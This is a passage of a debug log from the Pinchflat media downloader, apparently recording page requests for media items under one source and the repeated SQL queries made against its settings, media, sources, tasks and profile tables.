o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2187] 21:43:14.105 [info] GET /sources/10/media/12549/edit 21:43:14.105 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12549", "source_id" => "10"} Pipelines: [:browser] 21:43:14.106 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=30.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.106 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12549] 21:43:14.107 [debug] QUERY OK source="settings" db=0.4ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.108 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.108 [debug] QUERY OK source="settings" db=0.8ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.108 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.109 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.110 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.112 [info] Sent 200 in 6ms 21:43:14.115 [info] Sent 200 in 16ms 21:43:14.127 [info] GET /sources/10/media/12649 21:43:14.127 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12649", "source_id" => "10"} Pipelines: [:browser] 21:43:14.129 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=20.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12649] 21:43:14.131 [debug] QUERY OK source="sources" db=0.6ms idle=21.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.131 [debug] QUERY OK source="tasks" db=1.3ms queue=0.1ms idle=21.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12649] 21:43:14.133 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=22.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.134 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=23.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.135 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.137 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.140 [info] Sent 200 in 12ms 21:43:14.151 [info] GET /sources/10/media/12649/edit 21:43:14.151 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12649", "source_id" => "10"} Pipelines: [:browser] 21:43:14.152 [debug] QUERY OK source="media_items" db=0.3ms idle=20.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12649] 21:43:14.153 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=20.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.154 [info] GET /sources/10/media/12650 21:43:14.154 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12650", "source_id" => "10"} Pipelines: [:browser] 21:43:14.154 [debug] QUERY OK source="settings" db=0.3ms idle=20.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.155 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=17.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.155 [debug] QUERY OK source="media_items" db=0.9ms idle=19.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12650] 21:43:14.157 [debug] QUERY OK source="sources" db=1.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.157 [info] Sent 200 in 6ms 21:43:14.158 [debug] QUERY OK source="tasks" db=1.7ms queue=0.1ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12650] 21:43:14.159 [debug] QUERY OK source="settings" db=0.6ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.160 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.162 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.164 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.165 [info] Sent 200 in 11ms 21:43:14.251 [info] GET /sources/10/media/12650/edit 21:43:14.251 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12650", "source_id" => "10"} Pipelines: [:browser] 21:43:14.252 [debug] QUERY OK source="media_items" db=0.3ms idle=92.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12650] 21:43:14.254 [debug] QUERY OK source="settings" db=0.4ms idle=92.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.255 [debug] QUERY OK source="settings" db=0.6ms idle=92.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.256 [debug] QUERY OK source="settings" db=0.7ms idle=91.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.260 [info] Sent 200 in 9ms 21:43:14.314 [info] GET /sources/10/media/12651 21:43:14.314 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12651", "source_id" => "10"} Pipelines: [:browser] 21:43:14.316 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=109.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12651] 21:43:14.318 [debug] QUERY OK source="tasks" db=0.8ms idle=65.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12651] 21:43:14.319 [debug] QUERY OK source="sources" db=1.2ms idle=64.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.321 [debug] QUERY OK source="settings" db=0.6ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.321 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=64.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.323 [debug] QUERY OK source="settings" db=0.4ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.324 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.327 [info] Sent 200 in 13ms 21:43:14.345 [info] GET /sources/10/media/12651/edit 21:43:14.346 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12651", "source_id" => "10"} Pipelines: [:browser] 21:43:14.347 [debug] QUERY OK source="media_items" db=0.4ms idle=27.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12651] 21:43:14.348 [debug] QUERY OK source="settings" db=0.2ms idle=26.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.348 [debug] QUERY OK source="settings" db=0.3ms idle=26.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.350 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=26.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.352 [info] GET /sources/10/media/12652 21:43:14.352 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12652", "source_id" => "10"} Pipelines: [:browser] 21:43:14.352 [info] Sent 200 in 6ms 21:43:14.353 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=27.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12652] 21:43:14.355 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=7.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12652] 21:43:14.355 [debug] QUERY OK source="sources" db=0.6ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.356 [debug] QUERY OK source="settings" db=0.3ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.357 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.358 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.360 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.363 [info] Sent 200 in 10ms 21:43:14.374 [info] GET /sources/10/media/12652/edit 21:43:14.375 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12652", "source_id" => "10"} Pipelines: [:browser] 21:43:14.376 [debug] QUERY OK source="media_items" db=0.8ms idle=19.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12652] 21:43:14.377 [debug] QUERY OK source="settings" db=0.3ms idle=20.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.377 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=20.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.379 [debug] QUERY OK source="settings" db=0.3ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.381 [info] Sent 200 in 6ms 21:43:14.394 [info] GET /sources/10/media/12653 21:43:14.394 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12653", "source_id" => "10"} Pipelines: [:browser] 21:43:14.395 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=35.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12653] 21:43:14.397 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=20.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12653] 21:43:14.397 [debug] QUERY OK source="sources" db=0.5ms idle=19.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.398 [debug] QUERY OK source="settings" db=0.2ms idle=19.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 